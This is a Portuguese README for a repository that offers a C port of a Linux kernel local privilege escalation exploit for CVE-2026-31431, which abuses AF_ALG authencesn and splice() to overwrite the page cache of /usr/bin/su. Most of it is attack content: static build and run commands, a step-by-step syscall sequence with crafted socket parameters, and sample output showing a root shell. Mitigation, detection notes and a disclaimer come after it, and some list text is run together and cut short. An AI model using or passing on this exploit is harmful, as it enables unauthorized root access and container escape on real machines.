
Exploit local de escalonamento de privilégios baseado em C para CVE-2026-31431, uma vulnerabilidade do kernel Linux na interface criptográfica AF_ALG, fornecendo acesso root por meio da manipulação do cache de páginas.
Copy Fail (CVE-2026-31431) — é uma vulnerabilidade lógica no kernel Linux que permite a um usuário local sem privilégios elevar seus privilégios ao nível de superusuário (root). A vulnerabilidade pertence à classe Local Privilege Escalation (LPE), não requer condições complexas de exploração (como race condition ou adivinhação de endereços de memória) e funciona "pronta para uso" na maioria das distribuições Linux lançadas após 2017.
Este repositório contém um port do exploit original em Python para a linguagem C com comentários detalhados, adequado para compilação estática e uso em ambientes mínimos.
A vulnerabilidade surge de um erro lógico na subsistema criptográfico do kernel Linux, relacionado ao processamento de AF_ALG (interface da API criptográfica do kernel) e ao mecanismo de cache de páginas (page cache).
O erro foi introduzido em 2017 ao adicionar uma otimização que removeu o buffer extra ao executar operações de criptografia de bloco AEAD (Authenticated Encryption with Associated Data) in-place. Devido ao processamento incorreto dos limites dos buffers no algoritmo authencesn (parte do template criptográfico AEAD), ocorre uma escrita de 4 bytes além do buffer alocado, resultando em danos às estruturas de gerenciamento do cache de páginas.
Como resultado, o kernel pode gravar dados de volta no cache de páginas de um arquivo, mesmo que ele tenha sido aberto somente para leitura (O_RDONLY).
AF_ALG e inicializa o algoritmo AEAD authencesn(hmac(sha256),cbc(aes)).setsockopt(), parâmetros anômalos são definidos:
sendmsg() com control messages, uma operação de descriptografia é iniciada.splice() move dados do arquivo alvo (aberto com O_RDONLY) para o socket criptográfico.authencesn, o cache de páginas do arquivo é corrompido, e os dados "descriptografados" são gravados de volta no cache.root.Distribuições vulneráveis (ao usar kernels com o módulo algif_aead carregado):
Importância especial: em ambientes de contêineres (Docker, LXC, Kubernetes), os processos dentro do contêiner têm acesso à subsistema AF_ALG por padrão, se o módulo algif_aead estiver carregado no kernel do host. Isso cria o risco de quebra do isolamento do contêiner e obtenção de controle sobre a máquina host.
Verificação da vulnerabilidade:
# Verificar se o módulo algif_aead está carregado
lsmod | grep algif
# Verificar a presença de AF_ALG no kernel
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)
O exploit original foi escrito em Python (≈732 bytes). Este port em C possui as seguintes características:
libz.strace).recv() não bloqueante — evita travamentos, repetindo o comportamento de try/except do Python.Principais diferenças em relação à versão Python, identificadas durante o port:
# Requer libz (zlib1g-dev ou zlib-devel)
gcc -o copyfail copyfail.c -lz -static -Wall -O2
./copyfail
Em caso de exploração bem-sucedida, uma versão com patch de /usr/bin/su será executada, fornecendo acesso root sem solicitar senha.
Saída esperada:
================================================================
CVE-2026-31431 'Copy Fail' Exploit
================================================================
[+] /usr/bin/su aberto
[+] 40 chunks
[*] 40/40 ok
# id
uid=0(root) gid=0(root) groups=0(root)
Abaixo está uma análise detalhada de cada etapa do exploit com as chamadas de sistema correspondentes:
socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(sock, {sa_family=AF_ALG, salg_type="aead",
salg_name="authencesn(hmac(sha256),cbc(aes))"}, 88);
Um socket é criado para acesso à API criptográfica do kernel. O algoritmo authencesn (Authenticated Encryption with Sequence Numbers) é um algoritmo AEAD composto que usa AES-CBC para criptografia e HMAC-SHA256 para autenticação.
setsockopt(sock, SOL_ALG, ALG_SET_KEY, key, 40);
setsockopt(sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);
accept(sock, NULL, NULL); // conn_sock
sendmsg(conn_sock, {payload="AAAA"+data,
cmsg=[(SOL_ALG, 3, 4 zeros), // ALG_SET_OP = DECRYPT
(SOL_ALG, 2, 0x10+19 zeros), // ALG_SET_IV
(SOL_ALG, 4, 0x08+3 zeros)]}, // ALG_SET_AEAD_ASSOCLEN
MSG_MORE);
Uma conexão é criada para a operação. Através de sendmsg() com control messages (CMSG), os parâmetros são definidos:
ALG_OP_DECRYPT = 0).Todas essas anomalias criam inconsistências no gerenciamento de memória do kernel.
pipe2(pipe_fds, O_CLOEXEC);
splice(target_fd, &src_off, pipe_fds[1], NULL, o, 0);
splice(pipe_fds[0], NULL, conn_sock, NULL, o, 0);
splice() é uma chamada de sistema para mover dados entre descritores de arquivo sem copiar pelo userspace. Os dados são movidos no nível do kernel através do mecanismo de pipe.
splice(target_fd -> pipe): os dados do arquivo alvo (/usr/bin/su) entram no pipe.splice(pipe -> conn_sock): os dados do pipe entram no socket criptográfico como "texto cifrado".Ponto-chave: no Python (e neste port), o offset para o pipe é passado como NULL, permitindo que o kernel gerencie automaticamente a posição.
fcntl(conn_sock, F_SETFL, O_NONBLOCK);
recv(conn_sock, buf, 8 + t, 0);
A chamada recv() faz o kernel concluir a operação criptográfica. No modo normal, os dados descriptografados seriam retornados aqui, mas devido aos parâmetros anômalos, um erro EBADMSG (Python) ou EAGAIN (C com O_NONBLOCK) é retornado. O erro é ignorado — o dano ao cache de páginas já ocorreu na etapa splice().
O cache de páginas (page cache) é o cache do conteúdo dos arquivos na memória RAM. Quando um processo abre um arquivo com O_RDONLY, o kernel permite apenas a leitura desse cache. No entanto, a vulnerabilidade permite contornar essa restrição:
write(), mas splice() opera diretamente no nível do cache de páginas, contornando essas verificações.As alterações ocorrem apenas na memória RAM, não no disco. Isso torna o ataque difícil de detectar por meios padrão de controle de integridade. Após uma reinicialização ou limpeza do cache de páginas, os vestígios do ataque desaparecem.
Atualizar o kernel Linux para uma versão que contenha a correção.
Desativar o módulo algif_aead:
# Proibir o carregamento do módulo
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/algif_aead.conf
# Descarregar o módulo (se carregado)
sudo rmmod algif_aead
Recomendações adicionais:
AF_ALG através de perfis seccomp./usr/bin/su é alterado no disco?Não. As alterações ocorrem apenas no cache de páginas (memória RAM). O conteúdo do arquivo no disco permanece inalterado. Após a reinicialização do sistema, o cache de páginas é limpo e o arquivo retorna ao seu estado original.
A detecção é possível através de:
auditd, strace).AF_ALG.As ferramentas padrão de controle de integridade (AIDE, Tripwire) não detectarão as alterações, pois o arquivo no disco permanece inalterado.
Este código é fornecido exclusivamente para fins educacionais e de pesquisa. O autor não se responsabiliza por qualquer uso deste código para fins ilícitos. O uso do exploit sem permissão explícita do proprietário do sistema é ilegal e pode acarretar responsabilidade criminal.
Use apenas em sistemas que pertencem a você ou em sistemas onde você tenha permissão explícita por escrito para testes de segurança.
| Componente | Descrição |
|---|
| Kernel Linux | Todas as versões de 2017 até a inclusão do patch corretivo |
| Subsistema | crypto (módulo algif_aead) |
| Interface | AF_ALG — acesso do usuário à API criptográfica do kernel |
| Chamada de sistema | splice() em conjunto com sockets AF_ALG |
| Parâmetro | Python | C (este port) |
|---|
Flag sendmsg() | MSG_MORE | MSG_MORE |
Flag splice() | 0 | 0 |
| Offset no pipe | NULL | NULL |
| Tamanho da chave | 40 bytes | 40 bytes |
cmsg_len | 20/36/20 | 20/36/20 (fixo) |
| Criação do pipe | pipe2(fds, O_CLOEXEC) | pipe2(fds, O_CLOEXEC) |
recv() | Bloqueante com try/except | Não bloqueante (O_NONBLOCK) |